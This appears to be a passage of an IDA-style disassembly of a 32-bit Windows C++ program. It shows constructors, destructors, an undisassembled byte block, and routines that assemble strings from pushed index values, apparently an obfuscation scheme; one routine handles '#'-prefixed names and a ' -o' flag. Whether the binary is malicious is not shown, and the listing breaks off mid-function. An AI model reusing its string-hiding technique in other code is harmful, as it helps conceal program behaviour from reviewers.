		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401A9B
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403591


loc_4035E7:				; CODE XREF: sub_4034E0+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_4034E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036B0	proc near		; CODE XREF: sub_401681j
		mov	eax, [ecx+9]
		retn
sub_4036B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036D0	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4036D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_402207
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_402207
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_402207
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_402207
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_402207
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_402207
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_402207
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_402207
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_402207
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_402207
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_402207
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_402207
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_402207
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_402207
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_402207
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_402207
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_402207
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_402207
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_402207
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_402207
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_402207
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_402207
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_402207
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_402207
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_402207
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_402207
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_402207
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_402207
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_402207
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_402207
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_402207
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_402207
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_402207
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401749
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401749
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401749
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401749
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401749
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401749
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401749
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401749
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401749
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401749
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401749
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401749
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401749
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401749
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401749
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401749
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401749
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4036D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C00	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C70	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E004
		retn
sub_403C70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C90	proc near		; CODE XREF: sub_402207j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D10	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; CODE XREF: sub_401749j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E00	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_402207
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EE0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AD2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FC0	proc near		; CODE XREF: sub_401D34j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_403FC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017E4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017E4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	10h
		push	13h
		push	0Ch
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017E4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017E4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017E4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		mov	dword ptr [esp+5Ch], 9
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017E4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017E4
		lea	ecx, [esi+0CB3h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		db 8Dh
		dd 8924244Ch, 0E85C247Ch, 0FFFFCE26h, 0E8094E8Dh, 0FFFFD3DCh
		dd 0C244C8Dh, 0FE85150h, 83FFFFDCh, 6A08C4h, 1D6A256Ah
		dd 548D236Ah, 286A3424h, 2444C752h, 0E74h, 0D583E800h
		dd 0C483FFFFh, 8DE88B18h, 0C60C244Ch, 0F5C2444h, 0FFD39FE8h
		dd 0CD8B50FFh, 0FFD397E8h, 0F46850FFh, 68004435h, 4D60A5h
		dd 0FFD9AEE8h, 10C483FFh, 24244C8Dh, 5C2444C6h,	0CDB8E80Eh
		dd 206AFFFFh, 4024448Dh, 8D50006Ah, 0E818244Ch,	0FFFFCE32h
		dd 44C6C88Bh, 0E8105C24h, 0FFFFD358h, 35F06850h, 75680044h
		dd 0E8004E6Eh, 0FFFFCB91h, 8D0CC483h, 0C63C244Ch, 0E5C2444h
		dd 0FFCD79E8h, 0C291E8FFh, 8B900255h, 4DD3B8C8h, 7C891062h
		dd 0E1F75C24h, 8D06EAC1h, 890C244Ch, 57E80556h,	8BFFFFCDh
		dd 5F54244Ch, 89645D5Eh, 0Dh, 54C48300h, 909090C3h, 3 dup(90909090h)
		dd 54h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_404640	proc near		; CODE XREF: sub_401A32j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40146F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404682
		push	ebx
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_404682:				; CODE XREF: sub_404640+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404686:				; CODE XREF: sub_404640+40j
		mov	ecx, edi
		call	sub_401FBE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046A2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FBE


loc_4046A2:				; CODE XREF: sub_404640+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40471F
		lea	ecx, [esp+98h+var_6C]
		call	sub_401424
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013E3
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40471F:				; CODE XREF: sub_404640+6Aj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E2E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40146F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40146F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049EA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40480F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		test	eax, eax
		jz	short loc_40480F
		mov	bl, 1
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_404640+1A6j
					; sub_404640+1C9j
		xor	bl, bl


loc_404811:				; CODE XREF: sub_404640+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_4049CE
		push	offset asc_443600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049EA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049EA
		push	20h
		mov	ecx, esi
		call	sub_401D20
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D20
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40200E
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FBE
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E2E
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049A7
		test	ebp, ebp
		jle	short loc_4049B8


loc_404998:				; CODE XREF: sub_404640+363j
